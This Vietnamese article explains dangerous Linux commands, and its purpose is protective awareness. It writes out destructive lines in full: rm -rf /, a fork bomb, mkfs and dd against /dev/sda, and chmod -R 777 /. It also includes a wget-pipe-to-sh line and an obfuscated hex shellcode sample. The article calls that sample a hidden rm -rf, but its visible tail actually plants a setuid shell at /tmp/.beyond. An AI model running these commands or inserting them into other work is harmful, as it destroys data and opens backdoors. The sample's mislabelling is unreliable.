Các câu lệnh Linux nguy hiểm, 10 lệnh không nên thực thi

Giao diện dòng lệnh là một tiện ích mạnh mẽ và tiện lợi để quản lý hệ thống Linux. Nó cung cấp một cách nhanh chóng và linh hoạt để chạy hệ thống, đặc biệt là khi quản lý các hệ thống không có giao diện đồ họa.

Mặc dù hữu ích trong việc quản lý hệ thống của bạn, các câu lệnh Linux có rủi ro. Chạy các lệnh sai có thể gây hại và gây thiệt hại không thể khôi phục cho hệ thống của bạn. Trong hướng dẫn này, chúng tôi đã tổng hợp một số lệnh nguy hiểm nhất mà bạn không nên thực hiện trên hệ thống của bạn.

1. rm -rf / Command

Lệnh rm là một lệnh Linux được sử dụng để xóa file và thư mục tùy theo các đối số được sử dụng. Tuy nhiên, cần cẩn thận khi sử dụng lệnh rm vì một lỗi nhỏ hoặc sai sót có thể dẫn đến thiệt hại không thể khôi phục được cho hệ thống của bạn.

Khi được thực thi bằng quyền root với tùy chọn -rf /, lệnh này sẽ xóa đệ quy tất cả các file và thư mục trên hệ thống của bạn bắt đầu từ gốc (/) là tầng cao nhất trong cấu trúc Hệ thống Tệp Linux. Với ý nghĩa đơn giản, lệnh rm -rf / hoàn toàn xóa bỏ hệ thống của bạn dẫn đến một hệ thống bị hỏng và không thể khôi phục.

Một số tùy chọn thường được sử dụng với lệnh rm là:

  • rm: dùng để xóa file.
  • rm -r: xóa đệ quy thư mục, kể cả các thư mục trống.
  • rm -f: xóa "File chỉ đọc" mà không hỏi.
  • rm -rf /: Xóa bằng cách buộc mọi thứ trong thư mục gốc.
  • rm -rf *: Xóa bằng cách buộc mọi thứ trong thư mục hiện tại/thư mục làm việc.
  • rm -rf .: Xóa bằng cách buộc thư mục hiện tại và các thư mục con.

Thật ra, khi bạn chạy lệnh như một người dùng thông thường, bạn sẽ nhận được hai cảnh báo trên cửa sổ dòng lệnh.

Linux rm Command Example

Để tránh xóa tập tin một cách vô tình bằng lệnh "rm", tạo một cái tên gọi khác cho lệnh "rm" như là "rm -i" trong tệp ".bashrc", điều này sẽ yêu cầu bạn xác nhận mọi lần xóa.

2. :(){:|:&};: Command

Trên thực tế, đây thực chất là một quả bom fork. Nó hoạt động bằng cách tạo ra một hàm gọi là ':', điều này gọi nói chính nó hai lần, một lần trong tiền cảnh và một lần trong nền. Hàm thực thi lặp đi lặp lại và do đó, tiêu thụ tất cả các tài nguyên hệ thống dẫn đến sự sập hệ thống.

Trên thực tế, một lệnh quả bom fork được coi là một cuộc tấn công DoS (Từ chối Dịch vụ). Nó cũng được gọi là virus Wabbit hoặc Rabbit. Phần tồi tệ nhất là bạn không cần phải là người dùng root để tiến hành cuộc tấn công này.

May mắn thay, bạn có thể bảo vệ mình khỏi cuộc tấn công này bằng cách giới hạn số lượng tiến trình chạy bởi người dùng cục bộ khoảng 4000.

Bạn có thể làm điều này bằng cách chạy lệnh:

$ ulimit -S -u 4000

Bạn có thể xác nhận điều này bằng cách sử dụng lệnh sau:

$ ulimit -u
Increase Open Files Limit in Linux

3. command > /dev/sda

Chạy một lệnh theo sau bởi >/dev/sda ghi đè lên khối /dev/sda trên ổ cứng của bạn. Khối này chứa dữ liệu hệ thống tệp và khi bị ghi đè, dẫn đến một hệ thống bị hỏng không thể khôi phục được.

4. mv folder /dev/null

Một thao tác gây hại khác mà bạn không nên thử là di chuyển một thư mục hoặc tệp tin vào /dev/null. Tệp tin /dev/null là một loại tệp tin đặc biệt được gọi là thiết bị null hoặc "lỗ đen". Mọi thứ được di chuyển vào /dev/null sẽ bị loại bỏ và hủy bỏ.

Lệnh sau đây di chuyển toàn bộ nội dung của thư mục home của người dùng vào /dev/null, do đó xóa toàn bộ dữ liệu chứa trong thư mục home của người dùng

# mv /home/user/* /dev/null

5. wget http://malicious_source -O- | sh

Lệnh wget là lệnh dùng để tải xuống các tập tin từ máy chủ web hoặc tập tin. Lệnh trên tải xuống một kịch bản từ một nguồn độc hại và sau đó thực thi nó.

6. mkfs.ext3 /dev/sda

Lệnh mkfs tạo mới một hệ thống tập tin (ext2, ext3, ext4, v.v.) trên một thiết bị lưu trữ đã được định dạng, trong hầu hết các trường hợp là một phân vùng của ổ đĩa cứng. Chạy lệnh mkfs trên một phân vùng sẽ xóa toàn bộ dữ liệu được lưu trong nó.

Mặc dù hữu ích trong việc định dạng các phân vùng ổ đĩa, việc định dạng toàn bộ ổ đĩa (như mkfs.ext3 /dev/sda) sẽ làm hỏng hệ thống và để lại hệ thống ở trạng thái không thể khôi phục. Điều này xảy ra do nó phá hủy toàn bộ các tệp hệ thống cũng như dữ liệu cá nhân của bạn.

Lệnh cũng có thể có các dạng khác nhau như được hiển thị dưới đây.

# mkfs.ext4 /dev/sda
# mkfs.xfs /dev/sda
# mkfs.btrfs /dev/sda

7. > file Command

Lệnh > xóa nội dung của một tệp tin và làm cho nó trống rỗng. Điều này tương đương với lệnh cat /dev/null > file. Do đó, cần cẩn thận khi sử dụng các toán tử chuyển hướng trong một hệ thống Linux.

Dưới đây là một minh họa về cách lệnh này ghi đè nội dung của một tệp tin văn bản. Bạn có thể tưởng tượng thảm họa mà lệnh này sẽ gây ra khi tệp tin liên quan là một tệp tin cấu hình.

Redirection Operator Command Example

8. ^foo^bar

Lệnh ^foo^bar nguy hiểm nhưng cũng hữu ích tùy thuộc vào cách nó được thực hiện. Mặc dù nó cho phép bạn chỉnh sửa các lệnh đã được thực thi trước đó và thực thi lại chúng, nhưng nó có thể gây tai họa nếu bạn không chú ý các thay đổi được thực hiện trên các lệnh trước khi chạy chúng.

9. dd if=/dev/random of=/dev/sda

Lệnh trên xóa khối /dev/sda và ghi dữ liệu rác ngẫu nhiên vào khối. Hệ thống của bạn sẽ được để lại ở trạng thái không nhất quán và không thể khôi phục được.

10. Chmod -R 777 /

Mặc dù nó có thể không ngay lập tức làm sập hệ thống Linux của bạn, lệnh chmod -R 777 / cho phép đệ quy gán tất cả quyền (đọc, ghi và thực thi) cho tất cả các tệp tin trên hệ thống Linux của bạn bắt đầu từ gốc.

Điều này gây rủi ro lớn cho bảo mật hệ thống khi làm cho tất cả các tệp tin cấu hình quan trọng và tệp tin khác có thể bị truy cập và gây hỏng hệ thống dễ dàng.

11. Lệnh ẩn

Đoạn mã bên dưới không gì khác là lệnh đầu tiên ở trên (rm -rf). Ở đây các mã được ẩn dưới dạng hex để một người dùng không biết có thể bị đánh lừa. Thực thi đoạn mã dưới đây trong cửa sổ dòng lệnh của bạn sẽ xóa phân vùng gốc của bạn.

Lệnh này cho thấy rằng mối đe dọa có thể được ẩn và không thể phát hiện bình thường đôi khi. Bạn phải nhận thức về những gì bạn đang làm và kết quả sẽ là gì. Đừng biên dịch/chạy các mã nguồn không xác định nguồn gốc.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Lưu ý: Đừng thực thi bất kỳ lệnh trên trong cửa sổ dòng lệnh hoặc shell Linux của bạn hoặc trên máy tính của bạn hoặc máy tính ở trường. Nếu bạn muốn kiểm tra chúng, hãy chạy chúng trên một máy ảo.

Mọi sự không nhất quán hoặc mất dữ liệu, do việc thực thi các câu lệnh Linux trên sẽ gây sự hỏng hóc hệ thống của bạn, không phải tác giả của bài viết chịu trách nhiệm.